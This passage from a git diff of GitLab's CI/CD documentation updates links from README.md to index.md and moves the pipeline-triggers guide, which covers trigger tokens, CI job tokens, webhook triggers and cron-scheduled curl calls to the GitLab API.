| `entrypoint` | no | 9.4 |Command or script to execute as the container's entrypoint. It's translated to Docker's `--entrypoint` option while creating the container. The syntax is similar to [`Dockerfile`'s `ENTRYPOINT`](https://docs.docker.com/engine/reference/builder/#entrypoint) directive, where each shell token is a separate string in the array. |
| `command` | no | 9.4 |Command or script that should be used as the container's command. It's translated to arguments passed to Docker after the image's name. The syntax is similar to [`Dockerfile`'s `CMD`](https://docs.docker.com/engine/reference/builder/#cmd) directive, where each shell token is a separate string in the array. |
| `alias` (1) | no | 9.4 |Additional alias that can be used to access the service from the job's container. Read [Accessing the services](#accessing-the-services) for more information. |
diff --git a/doc/ci/services/mysql.md b/doc/ci/services/mysql.md
index 1e0762ca010..c691a6ef33d 100644
--- a/doc/ci/services/mysql.md
+++ b/doc/ci/services/mysql.md
@@ -12,11 +12,11 @@ need it for your tests to run.
## Use MySQL with the Docker executor
-If you want to use a MySQL container, you can use [GitLab Runner](../runners/README.md) with the Docker executor.
+If you want to use a MySQL container, you can use [GitLab Runner](../runners/index.md) with the Docker executor.
This example shows you how to set a username and password that GitLab uses to access the MySQL container. If you do not set a username and password, you must use `root`.
-1. [Create CI/CD variables](../variables/README.md#custom-cicd-variables) for your
+1. [Create CI/CD variables](../variables/index.md#custom-cicd-variables) for your
MySQL database and password by going to **Settings > CI/CD**, expanding **Variables**,
and clicking **Add Variable**.
@@ -130,5 +130,5 @@ GitLab Runner with the Shell executor.
## Example project
To view a MySQL example, create a fork of this [sample project](https://gitlab.com/gitlab-examples/mysql).
-This project uses publicly-available [shared runners](../runners/README.md) on [GitLab.com](https://gitlab.com).
+This project uses publicly-available [shared runners](../runners/index.md) on [GitLab.com](https://gitlab.com).
Update the README.md file, commit your changes, and view the CI/CD pipeline to see it in action.
diff --git a/doc/ci/services/postgres.md b/doc/ci/services/postgres.md
index 8451d56a71c..8d14e4795d2 100644
--- a/doc/ci/services/postgres.md
+++ b/doc/ci/services/postgres.md
@@ -13,7 +13,7 @@ do this with the Docker and Shell executors of GitLab Runner.
## Use PostgreSQL with the Docker executor
-If you're using [GitLab Runner](../runners/README.md) with the Docker executor,
+If you're using [GitLab Runner](../runners/index.md) with the Docker executor,
you basically have everything set up already.
First, in your `.gitlab-ci.yml` add:
@@ -31,7 +31,7 @@ variables:
To set values for the `POSTGRES_DB`, `POSTGRES_USER`,
`POSTGRES_PASSWORD` and `POSTGRES_HOST_AUTH_METHOD`,
-[assign them to a CI/CD variable in the user interface](../variables/README.md#custom-cicd-variables),
+[assign them to a CI/CD variable in the user interface](../variables/index.md#custom-cicd-variables),
then assign that variable to the corresponding variable in your
`.gitlab-ci.yml` file.
@@ -121,7 +121,7 @@ Database: nice_marmot
We have set up an [Example PostgreSQL Project](https://gitlab.com/gitlab-examples/postgres) for your
convenience that runs on [GitLab.com](https://gitlab.com) using our publicly
-available [shared runners](../runners/README.md).
+available [shared runners](../runners/index.md).
Want to hack on it? Fork it, commit, and push your changes. Within a few
moments the changes are picked by a public runner and the job begins.
diff --git a/doc/ci/services/redis.md b/doc/ci/services/redis.md
index 71d3ffb1c60..d8c7b805864 100644
--- a/doc/ci/services/redis.md
+++ b/doc/ci/services/redis.md
@@ -13,7 +13,7 @@ do this with the Docker and Shell executors of GitLab Runner.
## Use Redis with the Docker executor
-If you are using [GitLab Runner](../runners/README.md) with the Docker executor
+If you are using [GitLab Runner](../runners/index.md) with the Docker executor
you basically have everything set up already.
First, in your `.gitlab-ci.yml` add:
@@ -67,7 +67,7 @@ Host: localhost
We have set up an [Example Redis Project](https://gitlab.com/gitlab-examples/redis) for your convenience
that runs on [GitLab.com](https://gitlab.com) using our publicly available
-[shared runners](../runners/README.md).
+[shared runners](../runners/index.md).
Want to hack on it? Simply fork it, commit and push your changes. Within a few
moments the changes are picked by a public runner and the job begins.
diff --git a/doc/ci/ssh_keys/README.md b/doc/ci/ssh_keys/README.md
deleted file mode 100644
index 577a80407d7..00000000000
--- a/doc/ci/ssh_keys/README.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'index.md'
-remove_date: '2021-05-01'
----
-
-This document was moved to [another location](index.md).
-
-<!-- This redirect file can be deleted after 2021-05-01. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/ssh_keys/index.md b/doc/ci/ssh_keys/index.md
index 2222ed0aa43..6136f3be3f6 100644
--- a/doc/ci/ssh_keys/index.md
+++ b/doc/ci/ssh_keys/index.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: tutorial
---
-# Using SSH keys with GitLab CI/CD
+# Using SSH keys with GitLab CI/CD **(FREE)**
GitLab currently doesn't have built-in support for managing SSH keys in a build
environment (where the GitLab Runner runs).
@@ -28,7 +28,7 @@ with any type of [executor](https://docs.gitlab.com/runner/executors/)
## How it works
1. Create a new SSH key pair locally with [`ssh-keygen`](https://linux.die.net/man/1/ssh-keygen)
-1. Add the private key as a [variable](../variables/README.md) to
+1. Add the private key as a [variable](../variables/index.md) to
your project
1. Run the [`ssh-agent`](https://linux.die.net/man/1/ssh-agent) during job to load
the private key.
@@ -38,8 +38,8 @@ with any type of [executor](https://docs.gitlab.com/runner/executors/)
In the following example, the `ssh-add -` command does not display the value of
`$SSH_PRIVATE_KEY` in the job log, though it could be exposed if you enable
-[debug logging](../variables/README.md#debug-logging). You might also want to
-check the [visibility of your pipelines](../pipelines/settings.md#visibility-of-pipelines).
+[debug logging](../variables/index.md#debug-logging). You might also want to
+check the [visibility of your pipelines](../pipelines/settings.md#change-which-users-can-view-your-pipelines).
## SSH keys when using the Docker executor
@@ -48,11 +48,11 @@ contained) and you want to deploy your code in a private server, you need a way
to access it. This is where an SSH key pair comes in handy.
1. You first need to create an SSH key pair. For more information, follow
- the instructions to [generate an SSH key](../../ssh/README.md#generate-an-ssh-key-pair).
+ the instructions to [generate an SSH key](../../ssh/index.md#generate-an-ssh-key-pair).
**Do not** add a passphrase to the SSH key, or the `before_script` will
prompt for it.
-1. Create a new [CI/CD variable](../variables/README.md).
+1. Create a new [CI/CD variable](../variables/index.md).
As **Key** enter the name `SSH_PRIVATE_KEY` and in the **Value** field paste
the content of your _private_ key that you created earlier.
@@ -94,7 +94,7 @@ to access it. This is where an SSH key pair comes in handy.
# - git config --global user.name "User name"
```
- The [`before_script`](../yaml/README.md#before_script) can be set globally
+ The [`before_script`](../yaml/index.md#before_script) can be set globally
or per-job.
1. Make sure the private server's [SSH host keys are verified](#verifying-the-ssh-host-keys).
@@ -124,7 +124,7 @@ on, and use that key for all projects that are run on this machine.
```
1. Generate the SSH key pair as described in the instructions to
- [generate an SSH key](../../ssh/README.md#generate-an-ssh-key-pair).
+ [generate an SSH key](../../ssh/index.md#generate-an-ssh-key-pair).
**Do not** add a passphrase to the SSH key, or the `before_script` will
prompt for it.
@@ -160,7 +160,7 @@ ssh-keyscan example.com
ssh-keyscan 1.2.3.4
```
-Create a new [CI/CD variable](../variables/README.md) with
+Create a new [CI/CD variable](../variables/index.md) with
`SSH_KNOWN_HOSTS` as "Key", and as a "Value" add the output of `ssh-keyscan`.
If you need to connect to multiple servers, all the server host keys
@@ -207,7 +207,7 @@ before_script:
We have set up an [Example SSH Project](https://gitlab.com/gitlab-examples/ssh-private-key/) for your convenience
that runs on [GitLab.com](https://gitlab.com) using our publicly available
-[shared runners](../runners/README.md).
+[shared runners](../runners/index.md).
Want to hack on it? Simply fork it, commit and push your changes. Within a few
moments the changes is picked by a public runner and the job starts.
diff --git a/doc/ci/triggers/README.md b/doc/ci/triggers/README.md
index b8d0df44598..5ab8653dc35 100644
--- a/doc/ci/triggers/README.md
+++ b/doc/ci/triggers/README.md
@@ -1,288 +1,8 @@
---
-stage: Verify
-group: Pipeline Execution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: tutorial
+redirect_to: 'index.md'
---
-# Triggering pipelines through the API **(FREE)**
+This document was moved to [another location](index.md).
-Triggers can be used to force a pipeline rerun of a specific `ref` (branch or
-tag) with an API call.
-
-## Authentication tokens
-
-The following methods of authentication are supported:
-
-- [Trigger token](#trigger-token)
-- [CI job token](#ci-job-token)
-
-If using the `$CI_PIPELINE_SOURCE` [predefined CI/CD variable](../variables/predefined_variables.md)
-to limit which jobs run in a pipeline, the value could be either `pipeline` or `trigger`,
-depending on which trigger method is used.
-
-| `$CI_PIPELINE_SOURCE` value | Trigger method |
-|-----------------------------|----------------|
-| `pipeline` | Using the `trigger:` keyword in the CI/CD configuration file, or using the trigger API with `$CI_JOB_TOKEN`. |
-| `trigger` | Using the trigger API using a generated trigger token |
-
-This also applies when using the `pipelines` or `triggers` keywords with the legacy [`only/except` basic syntax](../yaml/README.md#only--except).
-
-### Trigger token
-
-A unique trigger token can be obtained when [adding a new trigger](#adding-a-new-trigger).
-
-WARNING:
-Passing plain text tokens in public projects is a security issue. Potential
-attackers can impersonate the user that exposed their trigger token publicly in
-their `.gitlab-ci.yml` file. Use [CI/CD variables](../variables/README.md)
-to protect trigger tokens.
-
-### CI job token
-
-You can use the `CI_JOB_TOKEN` [CI/CD variable](../variables/README.md#predefined-cicd-variables) (used to authenticate
-with the [GitLab Container Registry](../../user/packages/container_registry/index.md)) in the following cases.
-
-#### When used with multi-project pipelines
-
-> - Use of `CI_JOB_TOKEN` for multi-project pipelines was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2017) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.3.
-> - Use of `CI_JOB_TOKEN` for multi-project pipelines was [made available](https://gitlab.com/gitlab-org/gitlab/-/issues/31573) in all tiers in GitLab 12.4.
-
-This way of triggering can only be used when invoked inside `.gitlab-ci.yml`,
-and it creates a dependent pipeline relation visible on the
-[pipeline graph](../multi_project_pipelines.md). For example:
-
-```yaml
-trigger_pipeline:
- stage: deploy
- script:
- - curl --request POST --form "token=$CI_JOB_TOKEN" --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
- rules:
- - if: $CI_COMMIT_TAG
-```
-
-Pipelines triggered that way also expose a special variable:
-`CI_PIPELINE_SOURCE=pipeline`.
-
-Read more about the [pipelines trigger API](../../api/pipeline_triggers.md).
-
-#### When a pipeline depends on the artifacts of another pipeline **(PREMIUM)**
-
-> The use of `CI_JOB_TOKEN` in the artifacts download API was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2346) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.5.
-
-With the introduction of dependencies between different projects, one of
-them may need to access artifacts created by a previous one. This process
-must be granted for authorized accesses, and it can be done using the
-`CI_JOB_TOKEN` variable that identifies a specific job. For example:
-
-```yaml
-build_submodule:
- image: debian
- stage: test
- script:
- - apt update && apt install -y unzip
- - curl --location --output artifacts.zip "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/main/download?job=test&job_token=$CI_JOB_TOKEN"
- - unzip artifacts.zip
- rules:
- - if: $CI_COMMIT_TAG
-```
-
-This allows you to use that for multi-project pipelines and download artifacts
-from any project to which you have access as this follows the same principles
-with the [permission model](../../user/permissions.md#job-permissions).
-
-Read more about the [jobs API](../../api/job_artifacts.md#download-the-artifacts-archive).
-
-## Adding a new trigger
-
-Go to your
-**Settings > CI/CD** under **Triggers** to add a new trigger. The **Add trigger** button creates
-a new token which you can then use to trigger a rerun of this
-particular project's pipeline.
-
-Every new trigger you create, gets assigned a different token which you can
-then use inside your scripts or `.gitlab-ci.yml`. You also have a nice
-overview of the time the triggers were last used.
-
-![Triggers page overview](img/triggers_page.png)
-
-## Revoking a trigger
-
-You can revoke a trigger any time by going at your project's
-**Settings > CI/CD** under **Triggers** and hitting the **Revoke** button.
-The action is irreversible.
-
-## Triggering a pipeline
-
-To trigger a job you need to send a `POST` request to the GitLab API endpoint:
-
-```plaintext
-POST /projects/:id/trigger/pipeline
-```
-
-The required parameters are the [trigger's `token`](#authentication-tokens)
-and the Git `ref` on which the trigger is performed. Valid refs are
-branches or tags. The `:id` of a project can be found by
-[querying the API](../../api/projects.md) or by visiting the **CI/CD**
-settings page which provides self-explanatory examples.
-
-When a rerun of a pipeline is triggered, jobs are marked as triggered `by API` in
-**CI/CD > Jobs**.
-
-You can see which trigger caused a job to run by visiting the single job page.
-A part of the trigger's token is exposed in the UI as you can see from the image
-below.
-
-![Marked as triggered on a single job page](img/trigger_single_job.png)
-
-By using cURL you can trigger a pipeline rerun with minimal effort, for example:
-
-```shell
-curl --request POST \
- --form token=TOKEN \
- --form ref=main \
- "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
-```
-
-In this case, the pipeline for the project with ID `9` runs on the `main` branch.
-
-Alternatively, you can pass the `token` and `ref` arguments in the query string:
-
-```shell
-curl --request POST \
- "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline?token=TOKEN&ref=main"
-```
-
-You can also benefit by using triggers in your `.gitlab-ci.yml`. Let's say that
-you have two projects, A and B, and you want to trigger a pipeline on the `main`
-branch of project B whenever a tag on project A is created. This is the job you
-need to add in project A's `.gitlab-ci.yml`:
-
-```yaml
-trigger_pipeline:
- stage: deploy
- script:
- - 'curl --request POST --form token=TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"'
- rules:
- - if: $CI_COMMIT_TAG
-```
-
-This means that whenever a new tag is pushed on project A, the job runs and the
-`trigger_pipeline` job is executed, triggering the pipeline for project B. The
-`stage: deploy` ensures that this job runs only after all jobs with
-`stage: test` complete successfully.
-
-## Triggering a pipeline from a webhook
-
-To trigger a job from a webhook of another project you need to add the following
-webhook URL for Push and Tag events (change the project ID, ref and token):
-
-```plaintext
-https://gitlab.example.com/api/v4/projects/9/ref/main/trigger/pipeline?token=TOKEN
-```
-
-You should pass `ref` as part of the URL, to take precedence over `ref` from
-the webhook body that designates the branch ref that fired the trigger in the
-source repository. Be sure to URL-encode `ref` if it contains slashes.
-
-### Using webhook payload in the triggered pipeline
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31197) in GitLab 13.9.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/321027) in GitLab 13.11.
-
-If you trigger a pipeline by using a webhook, you can access the webhook payload with
-the `TRIGGER_PAYLOAD` [predefined CI/CD variable](../variables/predefined_variables.md).
-The payload is exposed as a [file-type variable](../variables/README.md#cicd-variable-types),
-so you can access the data with `cat $TRIGGER_PAYLOAD` or a similar command.
-
-## Making use of trigger variables
-
-You can pass any number of arbitrary variables in the trigger API call and they
-are available in GitLab CI/CD so that they can be used in your `.gitlab-ci.yml`
-file. The parameter is of the form:
-
-```plaintext
-variables[key]=value
-```
-
-This information is also exposed in the UI. Please note that _values_ are only viewable by Owners and Maintainers.
-
-![Job variables in UI](img/trigger_variables.png)
-
-Using trigger variables can be proven useful for a variety of reasons:
-
-- Identifiable jobs. Since the variable is exposed in the UI you can know
- why the pipeline was triggered if you pass a variable that explains the
- purpose.
-- Conditional job processing. You can have conditional jobs that run whenever
- a certain variable is present.
-
-Consider the following `.gitlab-ci.yml` where we set three
-[stages](../yaml/README.md#stages) and the `upload_package` job is run only
-when all jobs from the test and build stages pass. When the `UPLOAD_TO_S3`
-variable is non-zero, `make upload` is run.
-
-```yaml
-stages:
- - test
- - build
- - package
-
-run_tests:
- stage: test
- script:
- - make test
-
-build_package:
- stage: build
- script:
- - make build
-
-upload_package:
- stage: package
- script:
- - if [ -n "${UPLOAD_TO_S3}" ]; then make upload; fi
-```
-
-You can then trigger a pipeline while you pass the `UPLOAD_TO_S3` variable
-and the script of the `upload_package` job is run:
-
-```shell
-curl --request POST \
- --form token=TOKEN \
- --form ref=main \
- --form "variables[UPLOAD_TO_S3]=true" \
- "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
-```
-
-Trigger variables have the [highest priority](../variables/README.md#cicd-variable-precedence)
-of all types of variables.
-
-## Using cron to trigger nightly pipelines
-
-Whether you craft a script or just run cURL directly, you can trigger jobs
-in conjunction with cron. The example below triggers a job on the `main` branch
-of project with ID `9` every night at `00:30`:
-
-```shell
-30 0 * * * curl --request POST --form token=TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
-```
-
-This behavior can also be achieved through the GitLab UI with
-[pipeline schedules](../pipelines/schedules.md).
-
-## Legacy triggers
-
-Old triggers, created before GitLab 9.0 are marked as legacy.
-
-Triggers with the legacy label do not have an associated user and only have
-access to the current project. They are considered deprecated and might be
-removed with one of the future versions of GitLab.
-
-## Troubleshooting
-
-### '404 not found' when triggering a pipeline
-
-A response of `{"message":"404 Not Found"}` when triggering a pipeline might be caused
-by using a Personal Access Token instead of a trigger token. [Add a new trigger](#adding-a-new-trigger)
-and use that token to authenticate when triggering a pipeline.
+<!-- This redirect file can be deleted after 2021-09-28. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/triggers/index.md b/doc/ci/triggers/index.md
new file mode 100644
index 00000000000..383887bd389
--- /dev/null
+++ b/doc/ci/triggers/index.md
@@ -0,0 +1,288 @@
+---
+stage: Verify
+group: Pipeline Execution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: tutorial
+---
+
+# Triggering pipelines through the API **(FREE)**
+
+Triggers can be used to force a pipeline rerun of a specific `ref` (branch or
+tag) with an API call.
+
+## Authentication tokens
+
+The following methods of authentication are supported:
+
+- [Trigger token](#trigger-token)
+- [CI job token](#ci-job-token)
+
+If using the `$CI_PIPELINE_SOURCE` [predefined CI/CD variable](../variables/predefined_variables.md)
+to limit which jobs run in a pipeline, the value could be either `pipeline` or `trigger`,
+depending on which trigger method is used.
+
+| `$CI_PIPELINE_SOURCE` value | Trigger method |
+|-----------------------------|----------------|
+| `pipeline` | Using the `trigger:` keyword in the CI/CD configuration file, or using the trigger API with `$CI_JOB_TOKEN`. |
+| `trigger` | Using the trigger API using a generated trigger token |
+
+This also applies when using the `pipelines` or `triggers` keywords with the legacy [`only/except` basic syntax](../yaml/index.md#only--except).
+
+### Trigger token
+
+A unique trigger token can be obtained when [adding a new trigger](#adding-a-new-trigger).
+
+WARNING:
+Passing plain text tokens in public projects is a security issue. Potential
+attackers can impersonate the user that exposed their trigger token publicly in
+their `.gitlab-ci.yml` file. Use [CI/CD variables](../variables/index.md)
+to protect trigger tokens.
+
+### CI job token
+
+You can use the `CI_JOB_TOKEN` [CI/CD variable](../variables/index.md#predefined-cicd-variables) (used to authenticate
+with the [GitLab Container Registry](../../user/packages/container_registry/index.md)) in the following cases.
+
+#### When used with multi-project pipelines
+
+> - Use of `CI_JOB_TOKEN` for multi-project pipelines was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2017) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.3.
+> - Use of `CI_JOB_TOKEN` for multi-project pipelines was [made available](https://gitlab.com/gitlab-org/gitlab/-/issues/31573) in all tiers in GitLab 12.4.
+
+This way of triggering can only be used when invoked inside `.gitlab-ci.yml`,
+and it creates a dependent pipeline relation visible on the
+[pipeline graph](../pipelines/multi_project_pipelines.md). For example:
+
+```yaml
+trigger_pipeline:
+ stage: deploy
+ script:
+ - curl --request POST --form "token=$CI_JOB_TOKEN" --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
+ rules:
+ - if: $CI_COMMIT_TAG
+```
+
+Pipelines triggered that way also expose a special variable:
+`CI_PIPELINE_SOURCE=pipeline`.
+
+Read more about the [pipelines trigger API](../../api/pipeline_triggers.md).
+
+#### When a pipeline depends on the artifacts of another pipeline **(PREMIUM)**
+
+> The use of `CI_JOB_TOKEN` in the artifacts download API was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2346) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.5.
+
+With the introduction of dependencies between different projects, one of
+them may need to access artifacts created by a previous one. This process
+must be granted for authorized accesses, and it can be done using the
+`CI_JOB_TOKEN` variable that identifies a specific job. For example:
+
+```yaml
+build_submodule:
+ image: debian
+ stage: test
+ script:
+ - apt update && apt install -y unzip
+ - curl --location --output artifacts.zip "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/main/download?job=test&job_token=$CI_JOB_TOKEN"
+ - unzip artifacts.zip
+ rules:
+ - if: $CI_COMMIT_TAG
+```
+
+This allows you to use that for multi-project pipelines and download artifacts
+from any project to which you have access as this follows the same principles
+with the [permission model](../../user/permissions.md#job-permissions).
+
+Read more about the [jobs API](../../api/job_artifacts.md#download-the-artifacts-archive).
+
+## Adding a new trigger
+
+Go to your
+**Settings > CI/CD** under **Triggers** to add a new trigger. The **Add trigger** button creates
+a new token which you can then use to trigger a rerun of this
+particular project's pipeline.
+
+Every new trigger you create, gets assigned a different token which you can
+then use inside your scripts or `.gitlab-ci.yml`. You also have a nice
+overview of the time the triggers were last used.
+
+![Triggers page overview](img/triggers_page.png)
+
+## Revoking a trigger
+
+You can revoke a trigger any time by going at your project's
+**Settings > CI/CD** under **Triggers** and hitting the **Revoke** button.
+The action is irreversible.
+
+## Triggering a pipeline
+
+To trigger a pipeline you need to send a `POST` request to the GitLab API endpoint:
+
+```plaintext
+POST /projects/:id/trigger/pipeline
+```
+
+The required parameters are the [trigger's `token`](#authentication-tokens)
+and the Git `ref` on which the trigger is performed. Valid refs are
+branches or tags. The `:id` of a project can be found by
+[querying the API](../../api/projects.md) or by visiting the **CI/CD**
+settings page which provides self-explanatory examples.
+
+When a rerun of a pipeline is triggered, jobs are labeled as `triggered` in
+**CI/CD > Jobs**.
+
+You can see which trigger caused a job to run by visiting the single job page.
+A part of the trigger's token is exposed in the UI as you can see from the image
+below.
+
+![Marked as triggered on a single job page](img/trigger_single_job.png)
+
+By using cURL you can trigger a pipeline rerun with minimal effort, for example:
+
+```shell
+curl --request POST \
+ --form token=TOKEN \
+ --form ref=main \
+ "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
+```
+
+In this case, the pipeline for the project with ID `9` runs on the `main` branch.
+
+Alternatively, you can pass the `token` and `ref` arguments in the query string:
+
+```shell
+curl --request POST \
+ "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline?token=TOKEN&ref=main"
+```
+
+You can also benefit by using triggers in your `.gitlab-ci.yml`. Let's say that
+you have two projects, A and B, and you want to trigger a pipeline on the `main`
+branch of project B whenever a tag on project A is created. This is the job you
+need to add in project A's `.gitlab-ci.yml`:
+
+```yaml
+trigger_pipeline:
+ stage: deploy
+ script:
+ - 'curl --request POST --form token=TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"'
+ rules:
+ - if: $CI_COMMIT_TAG
+```
+
+This means that whenever a new tag is pushed on project A, the job runs and the
+`trigger_pipeline` job is executed, triggering the pipeline for project B. The
+`stage: deploy` ensures that this job runs only after all jobs with
+`stage: test` complete successfully.
+
+## Triggering a pipeline from a webhook
+
+To trigger a job from a webhook of another project you need to add the following
+webhook URL for Push and Tag events (change the project ID, ref and token):
+
+```plaintext
+https://gitlab.example.com/api/v4/projects/9/ref/main/trigger/pipeline?token=TOKEN
+```
+
+You should pass `ref` as part of the URL, to take precedence over `ref` from
+the webhook body that designates the branch ref that fired the trigger in the
+source repository. Be sure to URL-encode `ref` if it contains slashes.
+
+### Using webhook payload in the triggered pipeline
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31197) in GitLab 13.9.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/321027) in GitLab 13.11.
+
+If you trigger a pipeline by using a webhook, you can access the webhook payload with
+the `TRIGGER_PAYLOAD` [predefined CI/CD variable](../variables/predefined_variables.md).
+The payload is exposed as a [file-type variable](../variables/index.md#cicd-variable-types),
+so you can access the data with `cat $TRIGGER_PAYLOAD` or a similar command.
+
+## Making use of trigger variables
+
+You can pass any number of arbitrary variables in the trigger API call and they
+are available in GitLab CI/CD so that they can be used in your `.gitlab-ci.yml`
+file. The parameter is of the form:
+
+```plaintext
+variables[key]=value
+```
+
+This information is also exposed in the UI. Please note that _values_ are only viewable by Owners and Maintainers.
+
+![Job variables in UI](img/trigger_variables.png)
+
+Using trigger variables can be proven useful for a variety of reasons:
+
+- Identifiable jobs. Since the variable is exposed in the UI you can know
+ why the pipeline was triggered if you pass a variable that explains the
+ purpose.
+- Conditional job processing. You can have conditional jobs that run whenever
+ a certain variable is present.
+
+Consider the following `.gitlab-ci.yml` where we set three
+[stages](../yaml/index.md#stages) and the `upload_package` job is run only
+when all jobs from the test and build stages pass. When the `UPLOAD_TO_S3`
+variable is non-zero, `make upload` is run.
+
+```yaml
+stages:
+ - test
+ - build
+ - package
+
+run_tests:
+ stage: test
+ script:
+ - make test
+
+build_package:
+ stage: build
+ script:
+ - make build
+
+upload_package:
+ stage: package
+ script:
+ - if [ -n "${UPLOAD_TO_S3}" ]; then make upload; fi
+```
+
+You can then trigger a pipeline while you pass the `UPLOAD_TO_S3` variable
+and the script of the `upload_package` job is run:
+
+```shell
+curl --request POST \
+ --form token=TOKEN \
+ --form ref=main \
+ --form "variables[UPLOAD_TO_S3]=true" \
+ "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
+```
+
+Trigger variables have the [highest priority](../variables/index.md#cicd-variable-precedence)
+of all types of variables.
+
+## Using cron to trigger nightly pipelines
+
+Whether you craft a script or just run cURL directly, you can trigger jobs
+in conjunction with cron. The example below triggers a job on the `main` branch
+of project with ID `9` every night at `00:30`:
+
+```shell
+30 0 * * * curl --request POST --form token=TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
+```
+
+This behavior can also be achieved through the GitLab UI with
+[pipeline schedules](../pipelines/schedules.md).
+
+## Legacy triggers
+
+Old triggers, created before GitLab 9.0 are marked as legacy.
+
+Triggers with the legacy label do not have an associated user and only have
+access to the current project. They are considered deprecated and might be
+removed with one of the future versions of GitLab.
+
+## Troubleshooting
+
+### '404 not found' when triggering a pipeline
+
+A response of `{"message":"404 Not Found"}` when triggering a pipeline might be caused
+by using a Personal Access Token instead of a trigger token. [Add a new trigger](#adding-a-new-trigger)
+and use that token to authenticate when triggering a pipeline.
diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md
index 24a37900e6a..df9b20d1708 100644
--- a/doc/ci/troubleshooting.md
+++ b/doc/ci/troubleshooting.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Troubleshooting CI/CD
+# Troubleshooting CI/CD **(FREE)**
GitLab provides several tools to help make troubleshooting your pipelines easier.
@@ -43,34 +43,34 @@ pipeline, and what their values are. A lot of pipeline configuration is dependen
on variables, and verifying them is one of the fastest ways to find the source of
a problem.
-[Export the full list of variables](variables/README.md#list-all-environment-variables)
+[Export the full list of variables](variables/index.md#list-all-environment-variables)
available in each problematic job. Check if the variables you expect are present,
and check if their values are what you expect.
## GitLab CI/CD documentation
-The [complete `gitlab-ci.yml` reference](yaml/README.md) contains a full list of
+The [complete `gitlab-ci.yml` reference](yaml/index.md) contains a full list of
every keyword you may need to use to configure your pipelines.
-You can also look at a large number of pipeline configuration [examples](examples/README.md)
-and [templates](examples/README.md#cicd-templates).
+You can also look at a large number of pipeline configuration [examples](examples/index.md)
+and [templates](examples/index.md#cicd-templates).
### Documentation for pipeline types
Some pipeline types have their own detailed usage guides that you should read
if you are using that type:
-- [Multi-project pipelines](multi_project_pipelines.md): Have your pipeline trigger
+- [Multi-project pipelines](pipelines/multi_project_pipelines.md): Have your pipeline trigger
a pipeline in a different project.
-- [Parent/child pipelines](parent_child_pipelines.md): Have your main pipeline trigger
+- [Parent/child pipelines](pipelines/parent_child_pipelines.md): Have your main pipeline trigger
and run separate pipelines in the same project. You can also
- [dynamically generate the child pipeline's configuration](parent_child_pipelines.md#dynamic-child-pipelines)
+ [dynamically generate the child pipeline's configuration](pipelines/parent_child_pipelines.md#dynamic-child-pipelines)
at runtime.
-- [Pipelines for Merge Requests](merge_request_pipelines/index.md): Run a pipeline
+- [Pipelines for Merge Requests](pipelines/merge_request_pipelines.md): Run a pipeline
in the context of a merge request.
- - [Pipelines for Merge Results](merge_request_pipelines/pipelines_for_merged_results/index.md):
+ - [Pipelines for Merge Results](pipelines/pipelines_for_merged_results.md):
Pipelines for merge requests that run on the combined source and target branch
- - [Merge Trains](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md):
+ - [Merge Trains](pipelines/merge_trains.md):
Multiple pipelines for merged results that queue and run automatically before
changes are merged.
@@ -80,7 +80,7 @@ There are troubleshooting guides available for some CI/CD features and related t
- [Container Registry](../user/packages/container_registry/index.md#troubleshooting-the-gitlab-container-registry)
- [GitLab Runner](https://docs.gitlab.com/runner/faq/)
-- [Merge Trains](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md#troubleshooting)
+- [Merge Trains](pipelines/merge_trains.md#troubleshooting)
- [Docker Build](docker/using_docker_build.md#troubleshooting)
- [Environments](environments/deployment_safety.md#ensure-only-one-deployment-job-runs-at-a-time)
@@ -105,7 +105,7 @@ If a pipeline does not seem to run at all, with no error message, it may also be
due to `rules` or `only/except` configuration, or the `workflow: rules` keyword.
If you are converting from `only/except` to the `rules` keyword, you should check
-the [`rules` configuration details](yaml/README.md#rules) carefully. The behavior
+the [`rules` configuration details](yaml/index.md#rules) carefully. The behavior
of `only/except` and `rules` is different and can cause unexpected behavior when migrating
between the two.
@@ -123,8 +123,8 @@ This is usually caused by the `rules` configuration, and there are several ways
#### A job is not in the pipeline
-GitLab determines if a job is added to a pipeline based on the [`only/except`](yaml/README.md#only--except)
